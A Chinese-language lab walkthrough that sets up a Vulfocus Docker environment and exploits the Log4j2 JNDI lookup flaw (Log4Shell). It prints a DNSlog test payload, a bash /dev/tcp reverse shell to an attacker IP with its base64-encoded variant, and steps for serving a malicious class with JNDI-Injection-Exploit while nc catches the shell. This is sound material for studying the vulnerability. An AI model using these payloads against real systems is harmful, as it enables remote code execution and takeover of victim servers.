环境用的是linux下的centos
1.首先需要在centos中安装docker环境
curl -sSL https://get.daocloud.io/docker | sh
2.开启docker:
systemctl start docker
3.下载vulfocus镜像
docker pull vulfocus/vulfocus:latest
4.映射到centos中
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=
5.完成后访问centos的ip即可
打开漏洞环境访问
log4j2会将用户输入的信息自动记录到日志中
当用户输入正常的字符串时,log4j2会正常的记录
当用户输入${java:os}
等时,写入到日志文件后,检测到${xxx:xxx}
,log4j就会通过uplook
函数去执行${}
中对应的接口
1.此时如果黑客输入类似${jndi:ldap:192.168.42.132:1099/shell}
时,此条命令写入日志后,log4j
中的lookup
方法就会去解析括号里面的内容,去执行${}
中的jndi
接口的ldap
协议,然后去访问192.168.42.132:1099
找到idap
服务对应的shell
资源。
2.当没有找到时就会去http
服务寻找,在http
中找到shell
之后,就会将资源信息返回给应用程序的log4j
组件,而log4j
组件就会下载下来,然后发现shell
是一个.class
文件,就会去执行里面的代码,实现远程代码执行
3.黑客可在.class
文件中写入shell
,从而反弹
打开环境后这里可以看到hello后面跟的payload参数
漏洞验证,我们打开dnslog,并通过burp抓包进行测试
payload:${jndi:ldap://06k1aw.dnslog.cn}
,idap后面跟的是dnslog的网址,注意此处需要url编码否则返回400
解释:log4j将用户输入的${jndi:ldap://06k1aw.dnslog.cn}
写入日志,日志发现有${}
则对里面的内容进行解析,去执行jndi
接口,然后通过jndi
中的ldap
服务的执行,去访问对应的网址
发送数据包后,刷新dnslog
页面,发现受到了访问,确实执行了ldap
服务去访问dnslog
的页面
构造反弹shell的payload:
bash -i >& /dev/tcp/192.168.42.132/1234 0>&1
,此处ip为接收shell攻击机的ip,端口为监听的端口
由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
在攻击机上搭建JNDI服务,工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
github上一搜就有
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A "该IP是开启JDNI服务的主机地址"
通过工具生成jdni
服务网址,当受害机通过jdni
的ldap
协议去访问这些网址时,没有找到ldap
对应的资源时就会通过http
协议去访问,然后将资源返回给log4j
,log4j
发现资源是一个.class
文件就会把他下载下来,并执行
此时下载下来的.class
文件中的内容是我们写好的反弹shell的命令就会去反向连接我们的攻击机
攻击机这边通过nc监听本地的端口
burp这边抓包payload替换使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
生成的网址
同样进行url编码后发送
JDNI
服务这边也显示收到了访问
攻击机这边已经成功获取受害主机的shell